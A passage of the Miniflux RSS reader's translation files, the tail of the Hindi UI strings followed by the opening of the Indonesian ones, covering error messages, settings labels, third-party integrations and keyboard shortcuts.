"alert.no_feed_in_category": "इस श्रेणी के लिए कोई सदस्यता नहीं है।",
"alert.no_history": "इस समय कोई इतिहास नहीं है",
"alert.feed_error": "इस फ़ीड में एक समस्या है",
"alert.no_search_result": "इस खोज के लिए कोई परिणाम नहीं हैं।",
"alert.no_unread_entry": "कोई अपठित वस्तुत नहीं है।",
"alert.no_user": "आप एकमात्र उपयोगकर्ता हैं।",
"alert.account_unlinked": "आपका बाहरी खाता अब अलग कर दिया गया है!",
"alert.account_linked": "आपका बाहरी खाता अब लिंक हो गया है!",
"alert.pocket_linked": "आपका पॉकेट खाता अब लिंक हो गया है!",
"alert.prefs_saved": "प्राथमिकताएं सहेजी गईं!",
"error.unlink_account_without_password": "आपको एक पासवर्ड परिभाषित करना होगा अन्यथा आप फिर से लॉगिन नहीं कर पाएंगे।",
"error.duplicate_linked_account": "इस प्रदाता के साथ पहले से ही कोई व्यक्ति जुड़ा हुआ है!",
"error.duplicate_fever_username": "पहले से ही समान फीवर उपयोगकर्ता नाम वाला कोई और है!",
"error.duplicate_googlereader_username": "समान गूगल रीडर उपयोगकर्ता नाम वाला कोई और पहले से मौजूद है!",
"error.pocket_request_token": "पॉकेट से अनुरोध टोकन लाने में असमर्थ!",
"error.pocket_access_token": "पॉकेट से एक्सेस टोकन प्राप्त करने में असमर्थ!",
"error.category_already_exists": "यह श्रेणी पहले से मौजूद है।",
"error.unable_to_create_category": "यह श्रेणी बनाने में असमर्थ.",
"error.unable_to_update_category": "इस श्रेणी को अपडेट करने में असमर्थ।",
"error.user_already_exists": "यह उपयोगकर्ता पहले से ही मौजूद है।",
"error.unable_to_create_user": "इस उपयोगकर्ता को बनाने में असमर्थ।",
"error.unable_to_update_user": "इस उपयोगकर्ता को अपडेट करने में असमर्थ.",
"error.unable_to_update_feed": "इस फ़ीड को अपडेट करने में असमर्थ.",
"error.subscription_not_found": "कोई सदस्यता ढूँढने में असमर्थ.",
"error.invalid_theme": "अमान्य थीम.",
"error.invalid_language": "अमान्य भाषा.",
"error.invalid_timezone": "अमान्य समयक्षेत्र.",
"error.invalid_entry_direction": "अमान्य प्रवेश दिशा।",
"error.invalid_display_mode": "अमान्य वेब ऐप्लिकेशन प्रदर्शन मोड.",
"error.invalid_gesture_nav": "अमान्य इशारा नेविगेशन।",
"error.invalid_default_home_page": "अमान्य डिफ़ॉल्ट मुखपृष्ठ!",
"error.empty_file": "यह फ़ाइल खाली है।",
"error.bad_credentials": "अमान्य उपयोगकर्ता नाम या पासवर्ड।",
"error.fields_mandatory": "सभी फील्ड अनिवार्य।",
"error.title_required": "शीर्षक अनिवार्य है।",
"error.different_passwords": "पासवर्ड एक जैसे नहीं हैं।",
"error.password_min_length": "पासवर्ड में कम से कम 6 अक्षर होने चाहिए।",
"error.settings_mandatory_fields": "उपयोगकर्ता नाम, विषयवस्तु, भाषा और समयक्षेत्र फ़ील्ड अनिवार्य हैं।",
"error.settings_reading_speed_is_positive": "पढ़ने की गति सकारात्मक पूर्णांक होनी चाहिए।",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
"error.entries_per_page_invalid": "प्रति पृष्ठ प्रविष्टियों की संख्या मान्य नहीं है।",
"error.feed_mandatory_fields": "URL और श्रेणी अनिवार्य हैं।",
"error.feed_already_exists": "यह फ़ीड पहले से मौजूद है.",
"error.invalid_feed_url": "दृष्टिकोण यूआरएल.",
"error.invalid_site_url": "अमान्य साइट यूआरएल",
"error.feed_url_not_empty": "फ़ीड यूआरएल खाली नहीं हो सकता.",
"error.site_url_not_empty": "साइट का यूआरएल खाली नहीं हो सकता.",
"error.feed_title_not_empty": "फ़ीड शीर्षक खाली नहीं हो सकता.",
"error.feed_category_not_found": "यह श्रेणी मौजूद नहीं है या इस उपयोगकर्ता से संबंधित नहीं है।",
"error.feed_invalid_blocklist_rule": "ब्लॉक सूची नियम अमान्य है।",
"error.feed_invalid_keeplist_rule": "सूची रखें नियम अमान्य है।",
"error.user_mandatory_fields": "उपयोगकर्ता नाम अनिवार्य है।",
"error.api_key_already_exists": "यह एपीआई कुंजी पहले से मौजूद है।",
"error.unable_to_create_api_key": "यह एपीआई कुंजी बनाने में असमर्थ।",
"form.feed.label.title": "शीर्षक",
"form.feed.label.site_url": "साइट यूआरएल",
"form.feed.label.feed_url": "फ़ीड यूआरएल",
"form.feed.label.description": "विवरण",
"form.feed.label.category": "श्रेणी",
"form.feed.label.crawler": "मूल सामग्री प्राप्त करें",
"form.feed.label.feed_username": "फ़ीड उपयोगकर्ता नाम",
"form.feed.label.feed_password": "फ़ीड पासवर्ड",
"form.feed.label.user_agent": "डिफ़ॉल्ट उपयोगकर्ता एजेंट को ओवरराइड करें",
"form.feed.label.cookie": "कुकीज़ सेट करें",
"form.feed.label.scraper_rules": "खुरचनी नियम",
"form.feed.label.rewrite_rules": "नियम फिर से लिखें",
"form.feed.label.apprise_service_urls": "Comma separated list of Apprise service URLs",
"form.feed.label.blocklist_rules": "ब्लॉक नियम",
"form.feed.label.keeplist_rules": "नियम बनाए रखें",
"form.feed.label.urlrewrite_rules": " यूआरएल पुनर्लेखन नियम",
"form.feed.label.ignore_http_cache": "एचटीटीपी कैश पर ध्यान न दें",
"form.feed.label.allow_self_signed_certificates": "स्व-हस्ताक्षरित या अमान्य प्रमाणपत्रों की अनुमति दें",
"form.feed.label.disable_http2": "Disable HTTP/2 to avoid fingerprinting",
"form.feed.label.fetch_via_proxy": "प्रॉक्सी के माध्यम से प्राप्त करें",
"form.feed.label.disabled": "इस फ़ीड को रीफ़्रेश न करें",
"form.feed.label.no_media_player": "No media player (audio/video)",
"form.feed.label.hide_globally": "वैश्विक अपठित सूची में प्रविष्टियां छिपाएं",
"form.feed.label.ntfy_activate": "Push entries to ntfy",
"form.feed.label.ntfy_priority": "Ntfy priority",
"form.feed.label.ntfy_max_priority": "Ntfy max priority",
"form.feed.label.ntfy_high_priority": "Ntfy high priority",
"form.feed.label.ntfy_default_priority": "Ntfy default priority",
"form.feed.label.ntfy_low_priority": "Ntfy low priority",
"form.feed.label.ntfy_min_priority": "Ntfy min priority",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Rules",
"form.feed.fieldset.network_settings": "Network Settings",
"form.feed.fieldset.integration": "Third-Party Services",
"form.category.label.title": "शीर्षक",
"form.category.hide_globally": "वैश्विक अपठित सूची में प्रविष्टियां छिपाएं",
"form.user.label.username": "उपयोगकर्ता नाम",
"form.user.label.password": "पासवर्ड",
"form.user.label.confirmation": "पासवर्ड पुष्टि",
"form.user.label.admin": "प्रशासक",
"form.prefs.label.language": "भाषाओं",
"form.prefs.label.timezone": "समय क्षेत्र",
"form.prefs.label.theme": "थीम",
"form.prefs.label.entry_sorting": "प्रवेश छँटाई",
"form.prefs.label.entries_per_page": "प्रति पृष्ठ प्रविष्टियाँ",
"form.prefs.label.default_reading_speed": "अन्य भाषाओं के लिए पढ़ने की गति (प्रति मिनट शब्द)",
"form.prefs.label.cjk_reading_speed": "चीनी, कोरियाई और जापानी के लिए पढ़ने की गति (प्रति मिनट वर्ण)",
"form.prefs.label.display_mode": "प्रोग्रेसिव वेब ऐप (PWA) डिस्प्ले मोड",
"form.prefs.select.older_first": "पहले पुरानी प्रविष्टियाँ",
"form.prefs.select.recent_first": "हाल की प्रविष्टियाँ पहले",
"form.prefs.select.fullscreen": "पूर्ण स्क्रीन",
"form.prefs.select.standalone": "स्टैंडअलोन",
"form.prefs.select.minimal_ui": "कम से कम",
"form.prefs.select.browser": "ब्राउज़र",
"form.prefs.select.publish_time": "प्रवेश प्रकाशित समय",
"form.prefs.select.created_time": "प्रवेश बनाया समय",
"form.prefs.select.alphabetical": "वर्णक्रम",
"form.prefs.select.unread_count": "अपठित गणना",
"form.prefs.select.none": "कोई नहीं",
"form.prefs.select.tap": "दो बार टैप",
"form.prefs.select.swipe": "कड़ी चोट",
"form.prefs.label.keyboard_shortcuts": "कीबोर्ड शॉर्टकट सक्षम करें",
"form.prefs.label.entry_swipe": "टच स्क्रीन पर एंट्री स्वाइप सक्षम करें",
"form.prefs.label.gesture_nav": "प्रविष्टियों के बीच नेविगेट करने के लिए इशारा",
"form.prefs.label.show_reading_time": "विषय के लिए अनुमानित पढ़ने का समय दिखाएं",
"form.prefs.label.custom_css": "कस्टम सीएसएस",
"form.prefs.label.custom_js": "कस्टम जेएस",
"form.prefs.label.entry_order": "प्रवेश छँटाई कॉलम",
"form.prefs.label.default_home_page": "डिफ़ॉल्ट होमपेज़",
"form.prefs.label.categories_sorting_order": "श्रेणियाँ छँटाई",
"form.prefs.label.mark_read_on_view": "देखे जाने पर स्वचालित रूप से प्रविष्टियों को पढ़ने के रूप में चिह्नित करें",
"form.prefs.label.mark_read_on_view_or_media_completion": "Mark entries as read when viewed. For audio/video, mark as read at 90%% completion",
"form.prefs.label.mark_read_on_media_completion": "Only mark as read when audio/video playback reaches 90%% completion",
"form.prefs.label.mark_read_manually": "Mark entries as read manually",
"form.prefs.fieldset.application_settings": "Application Settings",
"form.prefs.fieldset.authentication_settings": "Authentication Settings",
"form.prefs.fieldset.reader_settings": "Reader Settings",
"form.prefs.fieldset.global_feed_settings": "Global Feed Settings",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "ओपीएमएल फ़ाइल",
"form.import.label.url": "यूआरएल",
"form.integration.betula_activate": "Save entries to Betula",
"form.integration.betula_url": "Betula server URL",
"form.integration.betula_token": "Betula Token",
"form.integration.fever_activate": "फीवर एपीआई सक्रिय करें",
"form.integration.fever_username": "फीवर उपयोगकर्ता नाम",
"form.integration.fever_password": "फीवर पासवर्ड",
"form.integration.fever_endpoint": "फीवर एपीआई समापन बिंदु:",
"form.integration.googlereader_activate": "गूगल रीडर एपीआई सक्रिय करें",
"form.integration.googlereader_username": "गूगल रीडर उपयोगकर्ता नाम",
"form.integration.googlereader_password": "गूगल रीडर पासवर्ड",
"form.integration.googlereader_endpoint": "गूगल रीडर एपीआई समापन बिंदु:",
"form.integration.pinboard_activate": "सहेजें विषयवस्तु प्रति का बोर्ड ",
"form.integration.pinboard_token": "पिनबोर्ड एपीआई टोकन",
"form.integration.pinboard_tags": "पिनबोर्ड टैग",
"form.integration.pinboard_bookmark": "बुकमार्क को अपठित के रूप में चिह्नित करें",
"form.integration.instapaper_activate": "विषय-वस्तु को इंस्टापेपर में सहेजें",
"form.integration.instapaper_username": "इंस्टापेपर यूजरनेम",
"form.integration.instapaper_password": "इंस्टापेपर पासवर्ड",
"form.integration.pocket_activate": "विषय-कविता को पॉकेट में सहेजें",
"form.integration.pocket_consumer_key": "पॉकेट उपभोक्ता कुंजी",
"form.integration.pocket_access_token": "पॉकेट एक्सेस टोकन",
"form.integration.pocket_connect_link": "अपना पॉकेट खाता कनेक्ट करें",
"form.integration.wallabag_activate": "विषय सहेजें वालाबाग में ",
"form.integration.wallabag_only_url": "केवल URL भेजें (पूर्ण सामग्री के बजाय)",
"form.integration.wallabag_endpoint": "वल्लाबैग बेस यूआरएल",
"form.integration.wallabag_client_id": "वालाबैग क्लाइंट आईडी",
"form.integration.wallabag_client_secret": "वालाबैग क्लाइंट सीक्रेट",
"form.integration.wallabag_username": "वालाबैग उपयोगकर्ता नाम",
"form.integration.wallabag_password": "वालाबैग पासवर्ड",
"form.integration.notion_activate": "Save entries to Notion",
"form.integration.notion_page_id": "Notion Page ID",
"form.integration.notion_token": "Notion Secret Token",
"form.integration.apprise_activate": "Push entries to Apprise",
"form.integration.apprise_url": "Apprise API URL",
"form.integration.apprise_services_url": "Comma separated list of Apprise service URLs",
"form.integration.nunux_keeper_activate": "विषय-वस्तु को ननक्स कीपर में सहेजें",
"form.integration.nunux_keeper_endpoint": "ननक्स कीपर एपीआई समापन बिंदु",
"form.integration.nunux_keeper_api_key": "ननक्स कीपर एपीआई कुंजी",
"form.integration.omnivore_activate": "Save entries to Omnivore",
"form.integration.omnivore_api_key": "Omnivore API key",
"form.integration.omnivore_url": "Omnivore API Endpoint",
"form.integration.espial_activate": "विषय-वस्तु को जासूसी में सहेजें",
"form.integration.espial_endpoint": "जासूसी एपीआई समापन बिंदु",
"form.integration.espial_api_key": "जासूसी एपीआई कुंजी",
"form.integration.espial_tags": "जासूसी टैग",
"form.integration.readwise_activate": "Save entries to Readwise Reader",
"form.integration.readwise_api_key": "Readwise Reader Access Token",
"form.integration.readwise_api_key_link": "Get your Readwise Access Token",
"form.integration.telegram_bot_activate": "टेलीग्राम चैट के लिए नई विषय-कविता पुश करें",
"form.integration.telegram_bot_token": "बॉट टोकन",
"form.integration.telegram_chat_id": "चैट आईडी",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Disable web page preview",
"form.integration.telegram_bot_disable_notification": "Disable notification",
"form.integration.telegram_bot_disable_buttons": "Disable buttons",
"form.integration.linkace_activate": "Save entries to LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "LinkAce API key",
"form.integration.linkace_tags": "LinkAce Tags",
"form.integration.linkace_is_private": "Mark link as private",
"form.integration.linkace_check_disabled": "Disable link check",
"form.integration.linkding_activate": "लिंक्डिन में विषयवस्तु सहेजें",
"form.integration.linkding_endpoint": "लिंकिंग एपीआई समापन बिंदु",
"form.integration.linkding_api_key": "लिंकिंग एपीआई कुंजी",
"form.integration.linkding_tags": "Linkding Tags",
"form.integration.linkding_bookmark": "बुकमार्क को अपठित के रूप में चिह्नित करें",
"form.integration.linkwarden_activate": "Save entries to Linkwarden",
"form.integration.linkwarden_endpoint": "Linkwarden API Endpoint",
"form.integration.linkwarden_api_key": "Linkwarden API key",
"form.integration.matrix_bot_activate": "नए लेखों को मैट्रिक्स में स्थानांतरित करें",
"form.integration.matrix_bot_user": "मैट्रिक्स के लिए उपयोगकर्ता नाम",
"form.integration.matrix_bot_password": "मैट्रिक्स उपयोगकर्ता के लिए पासवर्ड",
"form.integration.matrix_bot_url": "मैट्रिक्स सर्वर URL",
"form.integration.matrix_bot_chat_id": "मैट्रिक्स रूम की आईडी",
"form.integration.raindrop_activate": "Save entries to Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Collection ID",
"form.integration.raindrop_tags": "Tags (comma-separated)",
"form.integration.readeck_activate": "Readeck में विषयवस्तु सहेजें",
"form.integration.readeck_endpoint": "Readeck यूआरएल",
"form.integration.readeck_api_key": "Readeck एपीआई कुंजी",
"form.integration.readeck_labels": "Readeck Labels",
"form.integration.readeck_only_url": "केवल URL भेजें (पूर्ण सामग्री के बजाय)",
"form.integration.shiori_activate": "Save articles to Shiori",
"form.integration.shiori_endpoint": "Shiori API Endpoint",
"form.integration.shiori_username": "Shiori Username",
"form.integration.shiori_password": "Shiori Password",
"form.integration.shaarli_activate": "Save articles to Shaarli",
"form.integration.shaarli_endpoint": "Shaarli URL",
"form.integration.shaarli_api_secret": "Shaarli API Secret",
"form.integration.webhook_activate": "Enable Webhook",
"form.integration.webhook_url": "Webhook URL",
"form.integration.webhook_secret": "Webhook Secret",
"form.integration.rssbridge_activate": "Check RSS-Bridge when adding subscriptions",
"form.integration.rssbridge_url": "RSS-Bridge server URL",
"form.integration.ntfy_activate": "Push entries to ntfy",
"form.integration.ntfy_topic": "Ntfy topic",
"form.integration.ntfy_url": "Ntfy URL (optional, default is ntfy.sh)",
"form.integration.ntfy_api_token": "Ntfy API Token (optional)",
"form.integration.ntfy_username": "Ntfy Username (optional)",
"form.integration.ntfy_password": "Ntfy Password (optional)",
"form.integration.ntfy_icon_url": "Ntfy Icon URL (optional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Push entries to Discord",
"form.integration.discord_webhook_link": "Discord Webhook link",
"form.api_key.label.description": "एपीआई कुंजी लेबल",
"form.submit.loading": "लोड हो रहा है...",
"form.submit.saving": "सहेजा जा रहा है...",
"time_elapsed.not_yet": "अभी तक नहीं",
"time_elapsed.yesterday": "कल",
"time_elapsed.now": "बिल्कुल अभी",
"time_elapsed.minutes": [
"%d मिनट पहले",
"%d मिनट पहले"
],
"time_elapsed.hours": [
"%d घंटेभर पहले",
"%d घंटो पहले"
],
"time_elapsed.days": [
"%d दिन पहले",
"%d दिन पहले"
],
"time_elapsed.weeks": [
"%d सप्ताह पहले",
"%d हफ्तों पहले"
],
"time_elapsed.months": [
"%d महीने पहले",
"%d महिनो पहले"
],
"time_elapsed.years": [
"%d साल पहले",
"%d वर्षों पहले"
],
"alert.too_many_feeds_refresh": [
"You have triggered too many feed refreshes. Please wait %d minute before trying again.",
"You have triggered too many feed refreshes. Please wait %d minutes before trying again."
],
"alert.background_feed_refresh": "All feeds are being refreshed in the background. You can continue to use Miniflux while this process is running.",
"error.http_response_too_large": "The HTTP response is too large. You could increase the HTTP response size limit in the global settings (requires a server restart).",
"error.http_body_read": "Unable to read the HTTP body: %v.",
"error.http_empty_response_body": "The HTTP response body is empty.",
"error.http_empty_response": "The HTTP response is empty. Perhaps, this website is using a bot protection mechanism?",
"error.tls_error": "TLS error: %q. You could disable TLS verification in the feed settings if you would like.",
"error.network_operation": "Miniflux is not able to reach this website due to a network error: %v.",
"error.network_timeout": "This website is too slow and the request timed out: %v",
"error.http_client_error": "HTTP client error: %v.",
"error.http_not_authorized": "Access to this website is not authorized. It could be a bad username or password.",
"error.http_too_many_requests": "Miniflux generated too many requests to this website. Please, try again later or change the application configuration.",
"error.http_forbidden": "Access to this website is forbidden. Perhaps, this website has a bot protection mechanism?",
"error.http_resource_not_found": "The requested resource is not found. Please, verify the URL.",
"error.http_internal_server_error": "The website is not available at the moment due to a server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_bad_gateway": "The website is not available at the moment due to a bad gateway error. The problem is not on Miniflux side. Please, try again later.",
"error.http_service_unavailable": "The website is not available at the moment due to an internal server error. The problem is not on Miniflux side. Please, try again later.",
"error.http_gateway_timeout": "The website is not available at the moment due to a gateway timeout error. The problem is not on Miniflux side. Please, try again later.",
"error.http_unexpected_status_code": "The website is not available at the moment due to an unexpected HTTP status code: %d. The problem is not on Miniflux side. Please, try again later.",
"error.database_error": "Database error: %v.",
"error.category_not_found": "This category does not exist or does not belong to this user.",
"error.duplicated_feed": "This feed already exists.",
"error.unable_to_parse_feed": "Unable to parse this feed: %v.",
"error.feed_not_found": "This feed does not exist or does not belong to this user.",
"error.unable_to_detect_rssbridge": "Unable to detect feed using RSS-Bridge: %v.",
"error.feed_format_not_detected": "Unable to detect feed format: %v.",
"form.prefs.label.media_playback_rate": "ऑडियो/वीडियो की प्लेबैक गति",
"error.settings_media_playback_rate_range": "प्लेबैक गति सीमा से बाहर है",
"enclosure_media_controls.seek" : "Seek:",
"enclosure_media_controls.seek.title" : "Seek %s seconds",
"enclosure_media_controls.speed" : "Speed:",
"enclosure_media_controls.speed.faster" : "Faster",
"enclosure_media_controls.speed.faster.title" : "Faster by %sx",
"enclosure_media_controls.speed.slower" : "Slower",
"enclosure_media_controls.speed.slower.title" : "Slower by %sx",
"enclosure_media_controls.speed.reset" : "Reset",
"enclosure_media_controls.speed.reset.title" : "Reset speed to 1x"
}
v2-2.2.5/internal/locale/translations/id_ID.json 0000664 0000000 0000000 00000102526 14743520056 0021522 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "Apakah Anda yakin?",
"confirm.question.refresh": "Apakah Anda ingin memaksa penyegaran?",
"confirm.yes": "ya",
"confirm.no": "tidak",
"confirm.loading": "Sedang progres...",
"action.subscribe": "Langgan",
"action.save": "Simpan",
"action.or": "atau",
"action.cancel": "batal",
"action.remove": "Hapus",
"action.remove_feed": "Hapus umpan ini",
"action.update": "Perbarui",
"action.edit": "Sunting",
"action.download": "Unduh",
"action.import": "Impor",
"action.login": "Masuk",
"action.home_screen": "Tambahkan ke beranda",
"tooltip.keyboard_shortcuts": "Pintasan Papan Tik: %s",
"tooltip.logged_user": "Masuk sebagai %s",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "Belum Dibaca",
"menu.starred": "Markah",
"menu.history": "Riwayat",
"menu.feeds": "Umpan",
"menu.categories": "Kategori",
"menu.settings": "Pengaturan",
"menu.logout": "Keluar",
"menu.preferences": "Preferensi",
"menu.integrations": "Integrasi",
"menu.sessions": "Sesi",
"menu.users": "Pengguna",
"menu.about": "Tentang",
"menu.export": "Ekspor",
"menu.import": "Impor",
"menu.search": "Cari",
"menu.create_category": "Buat kategori",
"menu.mark_page_as_read": "Tandai halaman ini sebagai telah dibaca",
"menu.mark_all_as_read": "Tandai semua sebagai telah dibaca",
"menu.show_all_entries": "Tampilkan semua entri",
"menu.show_only_unread_entries": "Tampilkan hanya entri yang belum dibaca",
"menu.show_only_starred_entries": "Show only starred entries",
"menu.refresh_feed": "Muat ulang",
"menu.refresh_all_feeds": "Muat ulang semua umpan di latar belakang",
"menu.edit_feed": "Sunting",
"menu.edit_category": "Sunting",
"menu.add_feed": "Tambah langganan",
"menu.add_user": "Tambah pengguna",
"menu.flush_history": "Hapus riwayat",
"menu.feed_entries": "Entri",
"menu.api_keys": "Kunci API",
"menu.create_api_key": "Buat kunci API baru",
"menu.shared_entries": "Entri yang Dibagikan",
"search.label": "Cari",
"search.placeholder": "Cari...",
"search.submit": "Search",
"pagination.next": "Berikutnya",
"pagination.last": "Last",
"pagination.first": "First",
"pagination.previous": "Sebelumnya",
"entry.status.unread": "Belum dibaca",
"entry.status.read": "Telah dibaca",
"entry.status.toast.unread": "Ditandai sebagai belum dibaca",
"entry.status.toast.read": "Ditandai sebagai telah dibaca",
"entry.status.title": "Ubah status entri",
"entry.bookmark.toggle.on": "Markahi",
"entry.bookmark.toggle.off": "Batal Markahi",
"entry.bookmark.toast.on": "Markahi",
"entry.bookmark.toast.off": "Batal Markahi",
"entry.state.saving": "Menyimpan...",
"entry.state.loading": "Memuat...",
"entry.save.label": "Simpan",
"entry.save.title": "Simpan artikel ini",
"entry.save.completed": "Selesai!",
"entry.save.toast.completed": "Artikel tersimpan",
"entry.scraper.label": "Unduh",
"entry.scraper.title": "Ambil konten asli",
"entry.scraper.completed": "Selesai!",
"entry.external_link.label": "Tautan eksternal",
"entry.comments.label": "Komentar",
"entry.comments.title": "Lihat Komentar",
"entry.share.label": "Bagikan",
"entry.share.title": "Bagikan artikel ini",
"entry.unshare.label": "Batal bagikan",
"entry.shared_entry.title": "Buka tautan publik",
"entry.shared_entry.label": "Bagikan",
"entry.estimated_reading_time": [
"%d menit untuk dibaca"
],
"entry.tags.label": "Tanda:",
"page.shared_entries.title": "Entri yang Dibagikan",
"page.shared_entries_count": [
"%d shared entry"
],
"page.unread.title": "Belum Dibaca",
"page.unread_entry_count": [
"%d unread entry"
],
"page.total_entry_count": [
"%d entry in total"
],
"page.starred.title": "Markah",
"page.starred_entry_count": [
"%d starred entry"
],
"page.categories.title": "Kategori",
"page.categories.no_feed": "Tidak ada umpan.",
"page.categories.entries": "Artikel",
"page.categories.feeds": "Langganan",
"page.categories.feed_count": [
"Ada %d umpan."
],
"page.categories_count": [
"%d category"
],
"page.new_category.title": "Kategori Baru",
"page.new_user.title": "Pengguna Baru",
"page.edit_category.title": "Sunting Kategori: %s",
"page.edit_user.title": "Sunting Pengguna: %s",
"page.feeds.title": "Umpan",
"page.category_label": "Category: %s",
"page.feeds.last_check": "Terakhir diperiksa:",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "Jumlah entri yang telah dibaca",
"page.feeds.error_count": [
"%d galat"
],
"page.history.title": "Riwayat",
"page.read_entry_count": [
"%d read entry"
],
"page.import.title": "Impor",
"page.search.title": "Hasil Pencarian",
"page.about.title": "Tentang",
"page.about.credits": "Pengembang",
"page.about.version": "Versi:",
"page.about.build_date": "Tanggal Penyusunan:",
"page.about.author": "Pengembang:",
"page.about.license": "Lisensi:",
"page.about.global_config_options": "Pengaturan Konfigurasi Global",
"page.about.postgres_version": "Versi Postgres:",
"page.about.go_version": "Versi Go:",
"page.add_feed.title": "Langganan Baru",
"page.add_feed.no_category": "Tidak ada kategori. Anda harus paling tidak memiliki satu kategori.",
"page.add_feed.label.url": "URL",
"page.add_feed.submit": "Cari langganan",
"page.add_feed.legend.advanced_options": "Pilihan Tingkat Lanjut",
"page.add_feed.choose_feed": "Pilih Umpan",
"page.edit_feed.title": "Sunting Umpan: %s",
"page.edit_feed.last_check": "Terakhir diperiksa:",
"page.edit_feed.last_modified_header": "Tajuk LastModified:",
"page.edit_feed.etag_header": "Tajuk ETag:",
"page.edit_feed.no_header": "Tidak Ada",
"page.edit_feed.last_parsing_error": "Galat Penguraian Terakhir",
"page.entry.attachments": "Lampiran",
"page.keyboard_shortcuts.title": "Pintasan Papan Tik",
"page.keyboard_shortcuts.subtitle.sections": "Navigasi Bagian",
"page.keyboard_shortcuts.subtitle.items": "Navigasi Entri",
"page.keyboard_shortcuts.subtitle.pages": "Navigasi Halaman",
"page.keyboard_shortcuts.subtitle.actions": "Tindakan",
"page.keyboard_shortcuts.go_to_unread": "Ke bagian yang belum dibaca",
"page.keyboard_shortcuts.go_to_starred": "Ke markah",
"page.keyboard_shortcuts.go_to_history": "Ke riwayat",
"page.keyboard_shortcuts.go_to_feeds": "Ke umpan",
"page.keyboard_shortcuts.go_to_categories": "Ke kategori",
"page.keyboard_shortcuts.go_to_settings": "Ke pengaturan",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Tampilkan pintasan papan tik",
"page.keyboard_shortcuts.go_to_previous_item": "Ke entri sebelumnya",
"page.keyboard_shortcuts.go_to_next_item": "Ke entri berikutnya",
"page.keyboard_shortcuts.go_to_feed": "Ke umpan",
"page.keyboard_shortcuts.go_to_previous_page": "Ke halaman sebelumnya",
"page.keyboard_shortcuts.go_to_next_page": "Ke halaman berikutnya",
"page.keyboard_shortcuts.go_to_bottom_item": "Pergi ke item paling bawah",
"page.keyboard_shortcuts.go_to_top_item": "Pergi ke item teratas",
"page.keyboard_shortcuts.open_item": "Buka entri yang dipilih",
"page.keyboard_shortcuts.open_original": "Buka tautan asli",
"page.keyboard_shortcuts.open_original_same_window": "Buka tautan asli di bilah saat ini",
"page.keyboard_shortcuts.open_comments": "Buka tautan komentar",
"page.keyboard_shortcuts.open_comments_same_window": "Buka tautan komentar di bilah saat ini",
"page.keyboard_shortcuts.toggle_read_status_next": "Ubah status baca, fokus ke selanjutnya",
"page.keyboard_shortcuts.toggle_read_status_prev": "Ubah status baca, fokus ke sebelumnya",
"page.keyboard_shortcuts.refresh_all_feeds": "Muat ulang semua umpan di latar belakang",
"page.keyboard_shortcuts.mark_page_as_read": "Tandai halaman saat ini sebagai telah dibaca",
"page.keyboard_shortcuts.download_content": "Unduh konten asli",
"page.keyboard_shortcuts.toggle_bookmark_status": "Ubah status markah",
"page.keyboard_shortcuts.save_article": "Simpan Artikel",
"page.keyboard_shortcuts.scroll_item_to_top": "Gulir ke atas",
"page.keyboard_shortcuts.remove_feed": "Hapus umpan ini",
"page.keyboard_shortcuts.go_to_search": "Atur fokus ke pencaarian",
"page.keyboard_shortcuts.toggle_entry_attachments": "Buka/tutup lampiran entri",
"page.keyboard_shortcuts.close_modal": "Tutup bilah modal",
"page.users.title": "Pengguna",
"page.users.username": "Nama Pengguna",
"page.users.never_logged": "Tidak Pernah",
"page.users.admin.yes": "Ya",
"page.users.admin.no": "Tidak",
"page.users.actions": "Tindakan",
"page.users.last_login": "Terakhir Masuk",
"page.users.is_admin": "Administrator",
"page.settings.title": "Pengaturan",
"page.settings.link_google_account": "Tautkan akun Google saya",
"page.settings.unlink_google_account": "Putuskan akun Google saya",
"page.settings.link_oidc_account": "Tautkan akun %s saya",
"page.settings.unlink_oidc_account": "Putuskan akun %s saya",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "Register passkey",
"page.settings.webauthn.register.error": "Unable to register passkey",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Remove %d passkey"
],
"page.login.title": "Masuk",
"page.login.google_signin": "Masuk dengan Google",
"page.login.oidc_signin": "Masuk dengan %s",
"page.login.webauthn_login": "Login with passkey",
"page.login.webauthn_login.error": "Unable to login with passkey",
"page.integrations.title": "Integrasi",
"page.integration.miniflux_api": "API Miniflux",
"page.integration.miniflux_api_endpoint": "Titik URL API",
"page.integration.miniflux_api_username": "Nama Pengguna",
"page.integration.miniflux_api_password": "Kata Sandi",
"page.integration.miniflux_api_password_value": "Kata sandi akun Anda",
"page.integration.bookmarklet": "Bookmarklet",
